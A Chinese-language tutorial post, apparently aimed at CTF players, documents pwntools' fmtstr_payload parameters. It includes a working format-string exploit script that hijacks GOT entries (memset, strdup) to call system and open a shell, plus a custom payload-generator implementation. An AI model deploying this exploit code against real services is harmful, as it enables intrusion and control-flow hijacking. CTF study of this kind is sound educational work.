格式化字符串漏洞的fmtstr_payload函数

621 阅读3分钟

平时做格式化字符串题目时常常会觉得构造任意地址写很麻烦,因为一个参数的填入需要进行多次计算和赋值,而fmtstr_payload函数很好地解决了这个问题,但是在调试和使用时时不时会遇到困难,fmtstr_payload 的参数有很多,以下是所有参数的详细介绍。

fmtstr_payload 函数原型

def fmtstr_payload(
    offset: Any,
    writes: Any,
    numbwritten: int = 0,
    write_size: str = 'byte',
    write_size_max: str = 'long',
    overflows: int = 16,
    strategy: str = "small",
    badbytes: frozenset = frozenset(),
    offset_bytes: int = 0,
    no_dollars: bool = False
) -> (Any | bytes)

参数详细说明

  1. offset

    • 类型: 任何类型
    • 描述: 指定格式字符串的起始位置(在栈中的偏移量)。通常是指从栈顶向下数的偏移位置,指向你希望写入数据的位置。
    • 获取方法: 可以通过gdb中的fmtarg获取,一般是获得的"%$p"+1。
  2. writes

    • 类型: 任何类型(通常是字典)
    • 描述: 定义要写入的目标地址和对应的值。
    • 形式: {address: value, ...}
    • 示例: {0x601020: 14, 0x601021: 147}
    • 注意:要记得不能address不能间隔太小,否则在确认正确的情况下需要对write_size进行限制才能运行。
  3. numbwritten(可选):

    • 类型: 整数
    • 描述: 记录已经写入的字节数,适用于在多次写入时调整格式字符串。
    • 注意: 多次利用格式化字符串可以用,同样也可以利用这个参数进行padding。
  4. write_size(可选):

    • 类型: 字符串
    • 描述: 指定要写入的字节大小。
      • 'byte': 写入一个字节(char)。
      • 'short': 写入两个字节(short)。
      • 'int': 写入四个字节(int)。
    • 默认值: 'byte'
    • 使用: 在进行地址部分修改的时候挺有用。
  5. write_size_max(可选):

    • 类型: 字符串
    • 描述: 指定写入时最大字节的大小。用于定义更大的写入操作。
    • 默认值: 'long'
  6. overflows(可选):

    • 类型: 整数
    • 描述: 指定写入溢出的次数。用于控制要写入的字节数的最大值。
    • 默认值: 16
    • 没用到过。
  7. strategy(可选):

    • 类型: 字符串
    • 描述: 指定格式字符串的生成策略。可选值包括:
      • "small": 使用较小的值。
      • "large": 使用较大的值。
      • 其他策略以优化生成的 payload。
    • 默认值: "small"
  8. badbytes(可选):

    • 类型: 不可变集合(frozenset)
    • 描述: 指定在生成格式字符串时需要避免的字节。例如,某些字符可能在目标程序中引起不良影响或崩溃。
    • 默认值: 空集合 frozenset()
    • 注意: 这个还挺好用的,能够弄出一些奇怪的绕过,但是如果涉及到需要write_size不同的情况,建议自己写,他可能会报错。
  9. offset_bytes(可选):

    • 类型: 整数
    • 描述: 指定偏移量的字节数。通常在处理特定的输入格式或协议时使用。
    • 默认值: 0
    • 使用: 大端和小端,默认的应该是小端,配置了context也会自动调整的,一般用不上。
  10. no_dollars(可选):

    • 类型: 布尔值
    • 描述: 如果设置为 True,生成的格式字符串将不包含 $ 符号。这在某些情况下可能是必要的,尤其是在目标程序不支持 $ 符号的情况下。
    • 默认值: False
    • 很难用到。

返回值

该函数返回生成的格式字符串,通常是字节类型(bytes),可用于格式字符串漏洞利用。

使用示例

以下是一个简单的使用 fmtstr_payload示例

from pwn import *
context(arch="arm64")
io=remote()
elf=ELF()
# fmt %7$x %8$n
puts_got = elf.got["puts"]
strdup_got = elf.got["strdup"]
memset_got = elf.got["memset"]
#main_addr  400E93
payload_1=fmtstr_payload(8, {memset_got: 0x400E93})
io.sendlineafter(b"please input name:\n",payload_1)
io.sendlineafter(b"input size of motto:\n",b"1")
payload_2 = b"AAAA%9$s" + p64(puts_got)
io.sendlineafter(b"please input name:\n",payload_2)
io.recvuntil(b"AAAA")
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
print(hex(puts_addr))
libcbase = puts_addr - 0x06f690
system_addr = libcbase + 0x045390
print(hex(system_addr))
def strdup_system(system):
    x = system >>16 & 0xffff
    y = system & 0xffff
    print(x)
    print(y)
    if x>y:
        payload = flat("%"+str(y)+"c%12$hn%"+str(x-y)+"c%13$hn")
        payload = payload.ljust(32,b"a")
        print(payload)
        payload += p64(strdup_got)+p64(strdup_got+2)  
    if x<y:
        payload = flat("%"+str(x)+"c%12$hn%"+str(y-x)+"c%13$hn")
        payload = payload.ljust(32,b"a")
        print(payload)
        payload += p64(strdup_got+2)+p64(strdup_got)
    return payload
payload_3 = strdup_system(system_addr)
io.sendlineafter("please input name:\n",payload_3)
io.interactive()

注意事项

  • 完整性:要记住在程序开头对context的参数进行补充,否则fmtstr_payload会根据默认配置运行,容易不正确。
  • 正确性:确保目标地址和要写入的值是正确的。
  • 调试:使用调试工具检查生成的 payload,以确保其行为符合预期。
  • 安全性:在安全测试中使用格式字符串攻击的 payload 时,请遵循法律和道德规范。

实现

def Fmt(offset,address,value,arch=32,had=0,strategy=0):
    if address>0xffffffff:
        arch=64
    if arch==32:
        return Fmt32(offset,address,value,had,strategy)
    elif arch==64:
        return Fmt64(offset,address,value,had,strategy)
    else:
        return b""
    
def Fmt32(offset,address,value,had,strategy):
    result = b""
    tmp=0
    value_table=[]
    while value>0xff:
        tmp_value=(value & 0xff)-had
        while len(value_table)>0 and tmp_value<value_table[-1]+7:
            tmp_value+=0x100
        while tmp_value<0:
            tmp_value+=0x100
        value_table.append(tmp_value)
        value >>= 8
    while len(value_table)>0 and value<value_table[-1]:
        value+=0x100
    value_table.append(value)
    for index, v in enumerate(value_table):
        tmp_add=b"%"+str(v-tmp).encode()+b"c"
        tmp=v
        tmp_add+=b"%"+str(offset+4*len(value_table)+index).encode()+b"$hhn"
        tmp+=16-len(tmp_add)
        tmp_add+=b"\x90"*(16-len(tmp_add))
        result+=tmp_add
    for count in range(len(value_table)):
        address_bytes = (address + count).to_bytes(4, byteorder='big' if strategy == 1 else 'little')
        for i in range(len(address_bytes)):
            result += address_bytes[i:i+1]
    result += b"\x00"*(4-len(result))
    return result

def Fmt64(offset,address,value,had,strategy):
    result = b""
    tmp=0
    value_table=[]
    while value>0xff:
        tmp_value=(value & 0xff)-had
        while len(value_table)>0 and tmp_value<value_table[-1]+7:
            tmp_value+=0x100
        while tmp_value<0:
            tmp_value+=0x100
        value_table.append(tmp_value)
        value >>= 8
    while len(value_table)>0 and value<value_table[-1]:
        value+=0x100
    value_table.append(value)
    for index, v in enumerate(value_table):
        tmp_add=b"%"+str(v-tmp).encode()+b"c"
        tmp=v
        tmp_add+=b"%"+str(offset+2*len(value_table)+index).encode()+b"$hhn"
        tmp+=16-len(tmp_add)
        tmp_add+=b"\x90"*(16-len(tmp_add))
        result+=tmp_add
    for count in range(len(value_table)):
        address_bytes = (address + count).to_bytes(8, byteorder='big' if strategy == 1 else 'little')
        for i in range(len(address_bytes)):
            result += address_bytes[i:i+1]
    result += b"\x00"*(8-len(result))
    return result

通过这些参数的合理设置,fmtstr_payload 可以为你提供灵活而强大的格式字符串生成能力,帮助你更好地进行漏洞利用。格式化字符串漏洞的利用方法还是比较多比较丰富的,可以泄露任意地址内容也可以任意地址写,在进行got表修改和控制流劫持中都很常用,一旦遇到基本就问题很大,所以很有必要掌握好。